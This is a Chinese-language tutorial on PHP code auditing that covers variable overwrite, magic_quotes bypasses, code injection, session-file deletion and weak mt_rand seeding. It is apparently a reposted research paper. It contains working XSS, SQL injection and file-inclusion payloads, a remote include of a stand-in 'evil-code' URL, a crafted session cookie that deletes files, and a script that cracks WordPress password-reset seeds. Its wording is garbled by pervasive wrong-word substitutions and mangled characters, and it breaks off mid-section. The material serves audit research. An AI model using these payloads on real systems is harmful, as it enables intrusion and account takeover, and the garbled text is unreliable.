PHP的威胁函数与PHP代码审计
1. 前言
PHP是一種被普遍使用的腳本語言,尤為適合于web開發(fā)。具備跨平臺(tái),容易學(xué)習(xí),功能強(qiáng)大等特色,據(jù)統(tǒng)計(jì)全世界有超過34%的網(wǎng)站有php的應(yīng) 用,包括Yahoo、sina、16三、sohu等大型門戶網(wǎng)站。并且不少具名的web應(yīng)用系統(tǒng)(包括bbs,blog,wiki,cms等等)都是使用 php開發(fā)的,Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。隨著web安全的熱點(diǎn)升級(jí),php應(yīng)用程序的 代碼安全問題也逐步興盛起來,愈來愈多的安全人員投入到這個(gè)領(lǐng)域,愈來愈多的應(yīng)用程序代碼漏洞被披露。
針對(duì)這樣一個(gè)情況,不少應(yīng)用程序的官方都成立了安所有門,或者雇傭安全人員進(jìn)行代碼審計(jì),所以出現(xiàn)了不少自動(dòng)化商業(yè)化的代碼審計(jì)工具。也就是這樣的 形勢(shì)致使了一個(gè)局面:大公司的產(chǎn)品安全系數(shù)大大的提升,那些很明顯的漏洞基本滅絕了,那些你們都知道的審計(jì)技術(shù)都無用武之地了。
咱們面對(duì)不少工具以及大牛掃描過n遍的代碼,有不少的安全人員有點(diǎn)悲觀,而有的官方安全人員也很是的放心本身的代碼,可是不要忘記了“沒有絕對(duì)的安全”,咱們應(yīng)該去尋找新的途徑挖掘新的漏洞。本文就給介紹了一些非傳統(tǒng)的技術(shù)經(jīng)驗(yàn)和你們分享。
2. 傳統(tǒng)的代碼審計(jì)技術(shù)
WEB應(yīng)用程序漏洞查找基本上是圍繞兩個(gè)元素展開:變量與函數(shù)。也就是說一漏洞的利用必須把你提交的惡意代碼經(jīng)過變量通過n次變量轉(zhuǎn)換傳遞,最終傳遞給目標(biāo)函數(shù)執(zhí)行,還記得MS那句經(jīng)典的名言嗎?“一切輸入都是有害的”。
這句話只強(qiáng)調(diào)了變量輸入,不少程序員把“輸入”理解為只是gpc[$_GET,$_POST,$_COOKIE],可是變量在傳遞過程產(chǎn)生了n多的變化。致使不少過濾只是個(gè)“紙老虎”!咱們換句話來描敘下代碼安全:“一切進(jìn)入函數(shù)的變量是有害的”。
PHP代碼審計(jì)技術(shù)用的最多也是目前的主力方法:靜態(tài)分析,主要也是經(jīng)過查找容易致使安全漏洞的危險(xiǎn)函數(shù),經(jīng)常使用的如grep,findstr等搜索 工具,不少自動(dòng)化工具也是使用正則來搜索這些函數(shù)。下面列舉一些經(jīng)常使用的函數(shù),也就是下文說的字典(暫略)。可是目前基本已有的字典很難找到漏洞,因此咱們 須要擴(kuò)展咱們的字典,這些字典也是本文主要探討的。
其余的方法有:經(jīng)過修改PHP源代碼來分析變量流程,或者h(yuǎn)ook危險(xiǎn)的函數(shù)來實(shí)現(xiàn)對(duì)應(yīng)用程序代碼的審核,可是這些也依靠了咱們上面提到的字典。
3. PHP版本與應(yīng)用代碼審計(jì)
到目前為止,PHP主要有3個(gè)版本:php四、php五、php6,使用比例大體以下:
| php4 | 68% | 2000-2007,No security fixes after 2008/08,最終版本是php4.4.9 |
| php5 | 32% | 2004-present,Now at version 5.2.6(PHP 5.3 alpha1 released!) |
| php6 | 目前還在測(cè)試階段,變化不少作了大量的修改,取消了不少安全選項(xiàng)如magic_quotes_gpc(這個(gè)不是今天討論的范圍) |
因?yàn)閜hp缺乏自動(dòng)升級(jí)的機(jī)制,致使目前PHP版本并存,也致使不少存在漏洞沒有被修補(bǔ)。這些有漏洞的函數(shù)也是咱們進(jìn)行WEB應(yīng)用程序代碼審計(jì)的重點(diǎn)對(duì)象,也是咱們字典重要來源。
4. 其他的因素與應(yīng)用代碼審計(jì)
不少代碼審計(jì)者拿到代碼就看,他們忽視了“安全是一個(gè)總體”,代碼安全不少的其余因素有關(guān)系,好比上面咱們談到的PHP版本的問題,比較重要的還有 操做系統(tǒng)類型(主要是兩大陣營(yíng)win/*nix),WEB服務(wù)端軟件(主要是iis/apache兩大類型)等因素。這是因?yàn)椴灰粯拥南到y(tǒng)不一樣的WEB SERVER有著不一樣的安全特色或特性,下文有些部分會(huì)涉及。
因此咱們?cè)谧髂硞€(gè)公司W(wǎng)EB應(yīng)用代碼審計(jì)時(shí),應(yīng)該了解他們使用的系統(tǒng),WEB服務(wù)端軟件,PHP版本等信息。
5. 擴(kuò)展我們的字典
下面將詳細(xì)介紹一些非傳統(tǒng)PHP應(yīng)用代碼審計(jì)一些漏洞類型和利用技巧。
5.1 變量本身的key
說到變量的提交不少人只是看到了GET/POST/COOKIE等提交的變量的值,可是忘記了有的程序把變量自己的key也當(dāng)變量提取給函數(shù)處理。
<?php //key.php?aaaa'aaa=1&bb'b=2 //print_R($_GET); foreach ($_GET AS $key => $value) { print $key."\n"; } ?>上面的代碼就提取了變量自己的key顯示出來,單純對(duì)于上面的代碼,若是咱們提交URL:
key.php?<script>alert(1);</script>=1&bbb=2那么就致使一個(gè)xss的漏洞,擴(kuò)展一下若是這個(gè)key提交給include()等函數(shù)或者sql查詢呢?
| 漏洞審計(jì)策略 |
| PHP版本要求:無 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45 |
5.2 變量覆蓋
不少的漏洞查找者都知道extract()這個(gè)函數(shù)在指定參數(shù)為EXTR_OVERWRITE或者沒有指定函數(shù)能夠致使變量覆蓋,可是還有不少其余狀況致使變量覆蓋的如:
遍歷初始化變量:
不少的WEB應(yīng)用都使用上面的方式(注意循環(huán)不必定是foreach),如Discuz!4.1的WAP部分的代碼:
$chs = ''; if($_POST && $charset != 'utf-8') { $chs = new Chinese('UTF-8', $charset); foreach($_POST as $key => $value) { $$key = $chs->Convert($value); } unset($chs);| 漏洞審計(jì)策略 |
| PHP版本要求:無 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45 |
parse_str()變量覆蓋漏洞
//var.php?var=new $var = 'init'; parse_str($_SERVER['QUERY_STRING']); print $var;該函數(shù)同樣能夠覆蓋數(shù)組變量,上面的代碼是經(jīng)過$SERVER'QUERYSTRING'來提取變量的,對(duì)于指定了變量名的咱們能夠經(jīng)過注射“=”來實(shí)現(xiàn)覆蓋其余的變量:
//var.php?var=1&a[1]=var1%3d222 $var1 = 'init'; parse_str($a[$_GET['var']]); print $var1;上面的代碼經(jīng)過提交$var來實(shí)現(xiàn)對(duì)$var1的覆蓋。
| 漏洞審計(jì)策略(parse_str) |
| PHP版本要求:無 md5-b615dea1edf6b93dec7a7e623fe8570f |
| 漏洞審計(jì)策略(mb_parse_str) |
| PHP版本要求:php4<4.4.7 php5<5.2.2 md5-993116e42a531d2a9696f09ff87a836d |
import_request_variables()變量覆蓋漏洞
//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1 echo 'GLOBALS '.(int)ini_get("register_globals")."n"; import_request_variables('GPC'); if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!'); echo 'Hello admin!';| 漏洞審計(jì)策略(import_request_variables) |
| PHP版本要求:php4<4.4.1 php5<5.2.2 md5-16ecd2d1e750dd44df8702198bb34005 |
PHP5 Globals
從嚴(yán)格意義上來講這個(gè)不能夠算是PHP的漏洞,只能算是一個(gè)特性,測(cè)試代碼:
<? // register_globals =ON //foo.php?GLOBALS[foobar]=HELLO php echo $foobar; ?>可是不少的程序沒有考慮到這點(diǎn),請(qǐng)看以下代碼:
//為了安全取消全局變量 //var.php?GLOBALS[a]=aaaa&b=111 if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k}); print $a; print $_GET[b];若是熟悉WEB2.0的攻擊的同窗,很容易想到上面的代碼咱們能夠利用這個(gè)特性進(jìn)行crsf攻擊。
| 漏洞審計(jì)策略 |
| PHP版本要求:無 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45 |
magic_quotes_gpc與代碼安全
什么是magicquotesgpc
當(dāng)打開時(shí),全部的 '(單引號(hào)),"(雙引號(hào)),\(反斜線)和 NULL 字符都會(huì)被自動(dòng)加上一個(gè)反斜線進(jìn)行轉(zhuǎn)義。還有不少函數(shù)有相似的做用 如:addslashes()、mysqlescapestring()、mysqlrealescapestring()等,另外還有parsestr()后的變量也受magicquotesgpc的影響。目前大多數(shù)的主機(jī)都打開了這個(gè)選項(xiàng),而且不少程序員也注意使用上面那些函數(shù)去過濾變量,這看上去很安全。不少漏洞查找者或者工具遇到些函數(shù)過濾后的變量直接就放棄,可是就在他們放棄的同時(shí)也放過不少致命的安全漏洞。
哪些地方?jīng)]有魔術(shù)引號(hào)的保護(hù)?
1) $_SERVER變量
PHP5的$SERVER變量缺乏magicquotes_gpc的保護(hù),致使近年來X-Forwarded-For的漏洞猛暴,因此不少程序員考慮過濾X-Forwarded-For,可是其余的變量呢?
| 漏洞審計(jì)策略($_SERVER變量) |
| PHP版本要求:無 md5-4719e19bf61ce5a6f1990d5f2933da5c |
2) getenv()獲得的變量(使用相似$_SERVER變量)
| 漏洞審計(jì)策略($_SERVER變量) |
| PHP版本要求:無 md5-14827d95fcdd8129f3cd0db2aef588da |
3) $HTTPRAWPOST_DATA與PHP輸入、輸出流
主要應(yīng)用與soap/xmlrpc/webpublish功能里,請(qǐng)看以下代碼:
if ( !isset( $HTTP_RAW_POST_DATA ) ) { $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' ); } if ( isset($HTTP_RAW_POST_DATA) ) $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);| 漏洞審計(jì)策略(數(shù)據(jù)流) |
| PHP版本要求:無 md5-874b5384b6942c4ee6f84e7a5119faa5 |
4) 數(shù)據(jù)庫(kù)操做容易忘記'的地方如:in()/limit/order by/group by
如Discuz!<5.0的pm.php:
if(is_array($msgtobuddys)) { $msgto = array_merge($msgtobuddys, array($msgtoid)); ...... foreach($msgto as $uid) { $uids .= $comma.$uid; $comma = ','; } ...... $query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m LEFT JOIN {$tablepre}memberfields mf USING(uid) WHERE m.uid IN ($uids)");| 漏洞審計(jì)策略 |
| PHP版本要求:無 md5-9730da3b833abb10b92c9467e93bd99c |
變量的編碼與解碼
一個(gè)WEB程序不少功能的實(shí)現(xiàn)都須要變量的編碼解碼,并且就在這一轉(zhuǎn)一解的傳遞過程當(dāng)中就悄悄的繞過你的過濾的安全防線。
這個(gè)類型的主要函數(shù)有:
1) stripslashes() 這個(gè)其實(shí)就是一個(gè)decode-addslashes()
2) 其余字符串轉(zhuǎn)換函數(shù)
| base64_decode | 對(duì)使用 MIME base64 編碼的數(shù)據(jù)進(jìn)行解碼 |
| base64_encode | 使用 MIME base64 對(duì)數(shù)據(jù)進(jìn)行編碼 |
| rawurldecode | 對(duì)已編碼的 URL 字符串進(jìn)行解碼 |
| rawurlencode | 按照[RFC 1738](http://tools.ietf.org/html/rfc1738)對(duì)URL進(jìn)行編碼 |
| urldecode | 解碼已編碼的 URL 字符串 |
| urlencode | 編碼 URL 字符串 |
| ... | ... |
另一個(gè) unserialize/serialize
3) 字符集函數(shù)(GKB,UTF7/8...)如iconv()/mbconvertencoding()等
目前不少漏洞挖掘者開始注意這一類型的漏洞了,如典型的urldecode:
$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";當(dāng)magicquotesgpc=on時(shí),咱們提交?id=%2527,獲得sql語句為:
SELECT * FROM article WHERE articleid='''| 漏洞審計(jì)策略 |
| PHP版本要求:無 md5-3637ab9cc92ae883c91f6c21e3f6dba4 |
二次攻擊
1)數(shù)據(jù)庫(kù)出來的變量沒有進(jìn)行過濾
2)數(shù)據(jù)庫(kù)的轉(zhuǎn)義符號(hào):
從這里咱們能夠思考獲得一個(gè)結(jié)論:一切進(jìn)入函數(shù)的變量都是有害的,另外利用二次攻擊咱們能夠?qū)崿F(xiàn)一個(gè)webrootkit,把咱們的惡意構(gòu)造直接放到數(shù)據(jù)庫(kù)里。咱們應(yīng)當(dāng)把這樣的代碼當(dāng)作一個(gè)vul?
| 漏洞審計(jì)策略 |
| PHP版本要求:無 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45 |
魔術(shù)引號(hào)帶來的新的安全問題
首先咱們看下魔術(shù)引號(hào)的處理機(jī)制:
[\-->\\,'-->\',"-->\",null-->\0]
這給咱們引進(jìn)了一個(gè)很是有用的符號(hào)“\”,“\”符號(hào)不只僅是轉(zhuǎn)義符號(hào),在WIN系統(tǒng)下也是目錄轉(zhuǎn)跳的符號(hào)。這個(gè)特色可能致使php應(yīng)用程序里產(chǎn)生很是有意思的漏洞:
1)獲得原字符(',\,",null])
$order_sn=substr($_GET['order_sn'],?1);//提交 ' //魔術(shù)引號(hào)處理 \' //substr '$sql?=?"SELECT order_id, order_status, shipping_status, pay_status, ". " shipping_time, shipping_id, invoice_no, user_id ". " FROM "?.?$ecs->table('order_info'). " WHERE order_sn = '$order_sn' LIMIT 1";2)獲得“\”字符
$ordersn=substr($GET['order_sn'], 0,1);//提交 ' //魔術(shù)引號(hào)處理 \' //substr \$sql?=?"SELECT order_id, order_status, shipping_status, pay_status, ". " shipping_time, shipping_id, invoice_no, user_id ". " FROM "?.?$ecs->table('order_info'). " WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'";提交內(nèi)容:
?order_sn='&order_tn=%20and%201=1/*執(zhí)行的SQL語句為:
SELECT order_id,?order_status,?shipping_status,?pay_status,?shipping_time, shipping_id,?invoice_no,?user_id FROM order_info WHERE order_sn?=?'\' and order_tn='?and?1=1/*'| 漏洞審計(jì)策略 |
| PHP版本要求:無 md5-0ba2f0cfb75760bb29bc9c7344e943d3 |
變量key與魔術(shù)引號(hào)
咱們最在這一節(jié)的開頭就提到了變量key,PHP的魔術(shù)引號(hào)對(duì)它有什么影響呢?
<?php //key.php?aaaa'aaa=1&bb'b=2 //print_R($_GET); foreach?($_GET AS $key?=>?$value) { print?$key."\n"; } ?>1)當(dāng)magicquotesgpc = On時(shí),在php5.24下測(cè)試顯示:
aaaa\'aaa bb\'b從上面結(jié)果能夠看出來,在設(shè)置了magicquotesgpc = On下,變量key受魔術(shù)引號(hào)影響。可是在php4和php<5.2.1的版本中,不處理數(shù)組第一維變量的key,測(cè)試代碼以下:
<?php //key.php?aaaa'aaa[bb']=1 print_R($_GET); ?>結(jié)果顯示:
Array?(?[aaaa'aaa] => Array ( [bb\'] => 1 ) )數(shù)組第一維變量的key不受魔術(shù)引號(hào)的影響。
| 漏洞審計(jì)策略 |
| PHP版本要求:php4和php<5.2.1 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45 |
2)當(dāng)magicquotesgpc = Off時(shí),在php5.24下測(cè)試顯示:
aaaa'aaa bb'b對(duì)于magicquotesgpc = Off時(shí)全部的變量都是不安全的,考慮到這個(gè),不少程序都經(jīng)過addslashes等函數(shù)來實(shí)現(xiàn)魔術(shù)引號(hào)對(duì)變量的過濾,示例代碼以下:
<?php //keyvul.php?aaa'aa=1' //magic_quotes_gpc = Off if?(!get_magic_quotes_gpc()) { $_GET?=?addslashes_array($_GET); }function?addslashes_array($value) { return?is_array($value)???array_map('addslashes_array',?$value)?:?addslashes($value); } print_R($_GET); foreach?($_GET AS $key?=>?$value) { print?$key; } ?>以上的代碼看上去很完美,可是他這個(gè)代碼里addslashes($value)只處理了變量的具體的值,可是沒有處理變量自己的key,上面的代碼顯示結(jié)果以下:
Array ( [aaa'aa] => 1\' ) aaa'aa| 漏洞審計(jì)策略 |
| PHP版本要求:無 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45 |
代碼注射
PHP中可能致使代碼注射的函數(shù)
不少人都知道eval、preg_replace+/e能夠執(zhí)行代碼,可是不知道php還有不少的函數(shù)能夠執(zhí)行代碼如:
assert() call_user_func() call_user_func_array() create_function() 變量函數(shù) ...這里咱們看看最近出現(xiàn)的幾個(gè)關(guān)于create_function()代碼執(zhí)行漏洞的代碼:
<?php //how to exp this code $sort_by=$_GET['sort_by']; $sorter='strnatcasecmp'; $databases=array('test','test'); $sort_function?=?' return 1 * '?.?$sorter?.?'($a["'?.?$sort_by?.?'"], $b["'?.?$sort_by?.?'"]); '; usort($databases,?create_function('$a, $b',?$sort_function));| 漏洞審計(jì)策略 |
| PHP版本要求:無 md5-0232e542bbb413c6eee26d4a4b697547 |
變量函數(shù)與雙引號(hào)
對(duì)于單引號(hào)和雙引號(hào)的區(qū)別,不少程序員深有體會(huì),示例代碼:
echo?"$a\n"; echo?'$a\n';咱們?cè)倏匆韵麓a:
//how to exp this code if($globals['bbc_email']){$text?=?preg_replace( array("/\[email=(.*?)\](.*?)\[\/email\]/ies", "/\[email\](.*?)\[\/email\]/ies"), array('check_email("$1", "$2")', 'check_email("$1", "$1")'),?$text);另外不少的應(yīng)用程序都把變量用""存放在緩存文件或者config或者data文件里,這樣很容易被人注射變量函數(shù)。
| 漏洞審計(jì)策略 |
| PHP版本要求:無 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45 |
PHP自身函數(shù)漏洞及缺陷
PHP函數(shù)的溢出漏洞
你們還記得Stefan Esser大牛的Month of PHP Bugs(MOPB見附錄2)項(xiàng)目么,其中比較有名的要算是unserialize(),代碼以下:
unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);在以往的PHP版本里,不少函數(shù)都曾經(jīng)出現(xiàn)過溢出漏洞,因此咱們?cè)趯徲?jì)應(yīng)用程序漏洞的時(shí)候不要忘記了測(cè)試目標(biāo)使用的PHP版本信息。
| 漏洞審計(jì)策略 |
| PHP版本要求:對(duì)應(yīng)fix的版本 md5-79c2cd2b05e4468ae477ea741f08d9fa |
PHP函數(shù)的其他漏洞
Stefan Esser大牛發(fā)現(xiàn)的漏洞:unset()--ZendHashDelKeyOr_Index Vulnerability 好比phpwind早期的serarch.php里的代碼:
unset($uids); ...... $query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'"); while($member=$db->fetch_array($query)){ $uids?.=?$member['uid'].','; } $uids???$uids=substr($uids,0,-1)?:?$sqlwhere.=' AND 0 '; ........ $query?=?$db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");| 漏洞審計(jì)策略 |
| PHP版本要求:php4<4.3 php5<5.14 md5-ad283522b4fbbd41440392a41edc3d75 |
session_destroy()刪除文件漏洞
測(cè)試PHP版本:5.1.2 這個(gè)漏洞是幾年前朋友saiy發(fā)現(xiàn)的,session_destroy()函數(shù)的功能是刪除session文件,不少web應(yīng)用程序的logout的功能 都直接調(diào)用這個(gè)函數(shù)刪除session,可是這個(gè)函數(shù)在一些老的版本中缺乏過濾致使能夠刪除任意文件。測(cè)試代碼以下:
<?php //val.php session_save_path('./'); session_start(); if($_GET['del'])?{ session_unset(); session_destroy(); }else{ $_SESSION['hei']=1; echo(session_id()); print_r($_SESSION); } ?>當(dāng)咱們提交構(gòu)造cookie:PHPSESSID=/../1.php,至關(guān)于unlink('sess_/../1.php')這樣就經(jīng)過注射../轉(zhuǎn)跳目錄刪除任意文件了。不少著名的程序某些版本都受影響如phpmyadmin,sablog,phpwind3等等。
| 漏洞審計(jì)策略 |
| PHP版本要求:具體不詳 md5-5cfddd64912ab1357091e5775f2ee5be |
隨機(jī)函數(shù)
1) rand() VS mt_rand()
<?php //on windows print?mt_getrandmax();?//2147483647 print?getrandmax();// 32767 ?>能夠看出rand()最大的隨機(jī)數(shù)是32767,這個(gè)很容易被咱們暴力破解。
<?php $a=?md5(rand()); for($i=0;$i<=32767;$i++){ if(md5($i)?==$a?)?{ print?$i."-->ok!!<br>";exit; }else?{?print?$i."<br>";} } ?>當(dāng)咱們的程序使用rand處理session時(shí),攻擊者很容易暴力破解出你的session,可是對(duì)于mt_rand是很難單純的暴力的。
| 漏洞審計(jì)策略 |
| PHP版本要求:無 md5-ab6d55d013a366bf4c6e8583d6212014 |
2) mt_srand()/srand()-weak seeding(by Stefan Esser)
看php手冊(cè)里的描述:
mt_srand?(PHP 3 >= 3.0.6, PHP 4, PHP 5)mt_srand -- 播下一個(gè)更好的隨機(jī)數(shù)發(fā)生器種子。說明
void mt_srand ( int seed )用 seed 來給隨機(jī)數(shù)發(fā)生器播種。從 PHP 4.2.0 版開始,seed 參數(shù)變?yōu)榭蛇x項(xiàng),當(dāng)該項(xiàng)為空時(shí),會(huì)被設(shè)為隨時(shí)數(shù)。
例子1. mt_srand() 范例
<?php // seed with microseconds function?make_seed() { list($usec,?$sec)?=?explode(' ',?microtime()); return?(float)?$sec?+?((float)?$usec?*?100000); } mt_srand(make_seed()); $randval?=?mt_rand(); ?>注: 自 PHP 4.2.0 起,再也不須要用 srand() 或 mt_srand() 函數(shù)給隨機(jī)數(shù)發(fā)生器播種,現(xiàn)已自動(dòng)完成。
php從4.2.0開始實(shí)現(xiàn)了自動(dòng)播種,可是為了兼容,后來使用相似于這樣的代碼播種:
mt_srand ((double) microtime() * 1000000)可是使用(double)microtime()*1000000相似的代碼seed是比較脆弱的:
0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000那么很容易暴力破解,測(cè)試代碼以下:
<?php / //>php rand.php //828682 //828682ini_set("max_execution_time",0); $time=(double)?microtime()*?1000000; print?$time."\n"; mt_srand?($time);$search_id?=?mt_rand(); $seed?=?search_seed($search_id); print?$seed; function?search_seed($rand_num)?{ $max?=?1000000; for($seed=0;$seed<=$max;$seed++){ mt_srand($seed); $key?=?mt_rand(); if($key==$rand_num)?return?$seed; } return?false; } ?>從上面的代碼實(shí)現(xiàn)了對(duì)seed的破解,另外根據(jù)Stefan Esser的分析seed還根據(jù)進(jìn)程變化而變化,換句話來講同一個(gè)進(jìn)程里的seed是相同的。 而后同一個(gè)seed每次mt_rand的值都是特定的。以下圖:
seed-A mt_rand-A-1 mt_rand-A-2 mt_rand-A-3seed-B mt_rand-B-1 mt_rand-B-2 mt_rand-B-3對(duì)于seed-A里mtrand-1/2/3都是不相等的,可是值都是特定的,也就是說當(dāng)seed-A等于seed-B,那么mtrand-A-1就等于mtrand-B-1…,這樣咱們只要可以獲得seed就能夠獲得每次mtrand的值了。
對(duì)于5.2.6>php>4.2.0直接使用默認(rèn)播種的程序也是不安全的(不少的安全人員錯(cuò)誤的覺得這樣就是安全的),這個(gè)要分兩種狀況來分析:
- 第一種:'Cross Application Attacks',這個(gè)思路在Stefan Esser文章里有提到,主要是利用其余程序定義的播種(如mt_srand ((double) microtime()* 1000000)),phpbb+wordpree組合就存在這樣的危險(xiǎn).
-
第二種:5.2.6>php>4.2.0默認(rèn)播種的算法也不是很強(qiáng)悍,這是Stefan Esser的文章里的描述:
-
The Implementation
-
- When mtrand() is seeded internally or by a call to mtsrand() PHP 4 and PHP 5 <= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only 31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne Twister was changed and the forced bit removed.
在32位系統(tǒng)上默認(rèn)的播種的種子為最大值是2^32,這樣咱們循環(huán)最多2^32次就能夠破解seed。而在PHP 4和PHP 5 <= 5.2.0 的算法有個(gè)bug:奇數(shù)和偶數(shù)的播種是同樣的(詳見附錄3),測(cè)試代碼以下:
<?php mt_srand(4); $a?=?mt_rand(); mt_srand(5); $b?=?mt_rand(); print?$a."\n".$b; ?>經(jīng)過上面的代碼發(fā)現(xiàn)$a==$b,因此咱們循環(huán)的次數(shù)為232/2=231次。咱們看以下代碼:
<?php //base on http://www.milw0rm.com/exploits/6421 //test on php 5.2.0define('BUGGY',?1);?//上面代碼$a==$b時(shí)候定義BUGGY=1$key?=?wp_generate_password(20,?false); echo $key."\n"; $seed?=?getseed($key); print?$seed."\n";mt_srand($seed); $pass?=?wp_generate_password(20,?false); echo $pass."\n";function?wp_generate_password($length?=?12,?$special_chars?=?true)?{ $chars?=?'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; if?(?$special_chars?) $chars?.=?'!@#$%^&*()';$password?=?''; for?(?$i?=?0;?$i?<?$length;?$i++?) $password?.=?substr($chars,?mt_rand(0,?strlen($chars)?-?1),?1); return?$password; }function?getseed($resetkey)?{ $max?=?pow(2,(32-BUGGY)); for($x=0;$x<=$max;$x++)?{ $seed?=?BUGGY???($x?<<?1)?+?1?:?$x; mt_srand($seed); $testkey?=?wp_generate_password(20,false); if($testkey==$resetkey)?{?echo?"o\n";?return?$seed;?}if(!($x?%?10000))?echo $x?/?10000; } echo?"\n"; return?false; } ?>運(yùn)行結(jié)果以下:
php5>php rand.php M8pzpjwCrvVt3oobAaOr 0123456789101112131415161718192021222324252627282930313233343536373839404142434 445464748495051525354555657585960616263646566676869 7071727374757677787980818283848586878889909192939495969798991001011021031041051 061071081091101111121131141151161171181191201211221 2312412512612712812913013113213313413513613713813914014114214314414514614714814 915015115215315415515615715815916016116216316416516 6167168169170171172173174175176177178179180181182183184185186187188189190191192 193194195196197198199200201202203204205206207208209 2102112122132142152162172182192202212222232242252262272282292302312322332342352 362372382392402412422432442452462472482492502512522 ..............01062110622106231062410625106261062710628106291063010631106321063 3o 70693 pjwCrvVt3oobAaOr當(dāng)10634次時(shí)候咱們獲得告終果。
當(dāng)PHP版本到了5.2.1后,經(jīng)過修改算法修補(bǔ)了奇數(shù)和偶數(shù)的播種相等的問題,這樣也致使了php5.2.0先后致使同一個(gè)播種后的mt_rand()的值不同。好比:
<?php mt_srand(42); echo mt_rand(); //php<=5.20 1387371436 //php>5.20 1354439493 ?>正是這個(gè)緣由,也要求了咱們的exp的運(yùn)行環(huán)境:當(dāng)目標(biāo)>5.20時(shí)候,咱們exp運(yùn)行的環(huán)境也要是>5.20的版本,反過來也是同樣。
從上面的測(cè)試及分析來看,php<5.26無論有沒有定義播種,mtrand處理的數(shù)據(jù)都是不安全的。在web應(yīng)用里不少都使用mtrand來處理隨機(jī)的session,好比密碼找回功能等等,這樣的后果就是被攻擊者惡意利用直接修改密碼。
不少著名的程序都產(chǎn)生了相似的漏洞如wordpress、phpbb、punbb等等。(在后面咱們將實(shí)際分析下國(guó)內(nèi)著名的bbs程序Discuz!的mt_srand致使的漏洞)
| 漏洞審計(jì)策略 |
| PHP版本要求:php4 php5<5.2.6 md5-e5f53bc4e451a67ad5c30ecea9547c87 |
特殊字符
其實(shí)“特殊字符”也沒有特定的標(biāo)準(zhǔn)定義,主要是在一些code hacking發(fā)揮著特殊重做用的一類字符。下面就舉幾個(gè)例子:
截?cái)?/strong>
其中最有名的數(shù)你們都熟悉的null字符截?cái)唷?/p>
include截?cái)?/strong>
<?php include $_GET['action'].".php"; ?>提交"action=/etc/passwd%00"中的"%00"將截?cái)嗪竺娴?#34;.php",可是除了"%00"還有沒有其余的字符能夠?qū)崿F(xiàn)截?cái)?使用呢?確定有人想到了遠(yuǎn)程包含的url里問號(hào)“?”的做用,經(jīng)過提交"action=http://www.hacksite.com/evil- code.txt?"這里“?”實(shí)現(xiàn)了“偽截?cái)唷?#xff1a;),好象這個(gè)看上去不是那么舒服那么咱們簡(jiǎn)單寫個(gè)代碼fuzz一下:
<?phpvar5.php代碼: include $_GET['action'].".php"; print strlen(realpath("./"))+strlen($_GET['action']); /// ini_set('max_execution_time',?0); $str=''; for($i=0;$i<50000;$i++) { $str=$str."/";$resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str); //1.txt里的代碼為print 'hi'; if?(strpos($resp,?'hi')?!==?false){ print?$i; exit; } } ?>通過測(cè)試字符“.”、“ /”或者2個(gè)字符的組合,在必定的長(zhǎng)度時(shí)將被截?cái)?#xff0c;win系統(tǒng)和*nix的系統(tǒng)長(zhǎng)度不同,當(dāng)win下strlen(realpath(". /"))+strlen($_GET['action'])的長(zhǎng)度大于256時(shí)被截?cái)?#xff0c;對(duì)于*nix的長(zhǎng)度是4 * 1024 = 4096。對(duì)于php.ini里設(shè)置遠(yuǎn)程文件關(guān)閉的時(shí)候就能夠利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最早發(fā)現(xiàn)])
數(shù)據(jù)截?cái)?/strong>
對(duì)于不少web應(yīng)用文件在不少功能是不允許重復(fù)數(shù)據(jù)的,好比用戶注冊(cè)功能等。通常的應(yīng)用程序?qū)τ谔峤蛔?cè)的username和數(shù)據(jù)庫(kù)里已有的 username對(duì)比是否是已經(jīng)有重復(fù)數(shù)據(jù),然而咱們能夠經(jīng)過“數(shù)據(jù)截?cái)唷钡葋眇堖^這些判斷,數(shù)據(jù)庫(kù)在處理時(shí)候產(chǎn)生截?cái)嘀率共迦胫貜?fù)數(shù)據(jù)。
1) Mysql SQL Column Truncation Vulnerabilities
這個(gè)漏洞又是大牛Stefan Esser發(fā)現(xiàn)的(Stefan Esser是個(gè)人偶像:)),這個(gè)是因?yàn)閙ysql的sqlmode設(shè)置為default的時(shí)候,即沒有開啟STRICTALL_TABLES選項(xiàng)時(shí),MySQL對(duì)于插入超長(zhǎng)的值只會(huì)提示warning,而不是error(若是是error就插入不成功),這樣可能會(huì)致使一些截?cái)鄦栴}。測(cè)試以下:
mysql>?insert?into?truncated_test(`username`,`password`)?values("admin","pass");mysql>?insert?into?truncated_test(`username`,`password`)?values("admin x",?"new_pass"); Query?OK,?1?row affected,?1?warning?(0.01?sec)mysql>?select?*?from?truncated_test; +----+------------+----------+ |?id?|?username?|?password?| +----+------------+----------+ |?1?|?admin?|?pass?| |?2?|?admin?|?new_pass?| +----+------------+----------+ 2?rows?in?set?(0.00?sec)2) Mysql charset Truncation vulnerability
這個(gè)漏洞是80sec發(fā)現(xiàn)的,當(dāng)mysql進(jìn)行數(shù)據(jù)存儲(chǔ)處理utf8等數(shù)據(jù)時(shí)對(duì)某些字符致使數(shù)據(jù)截?cái)唷y(cè)試以下:
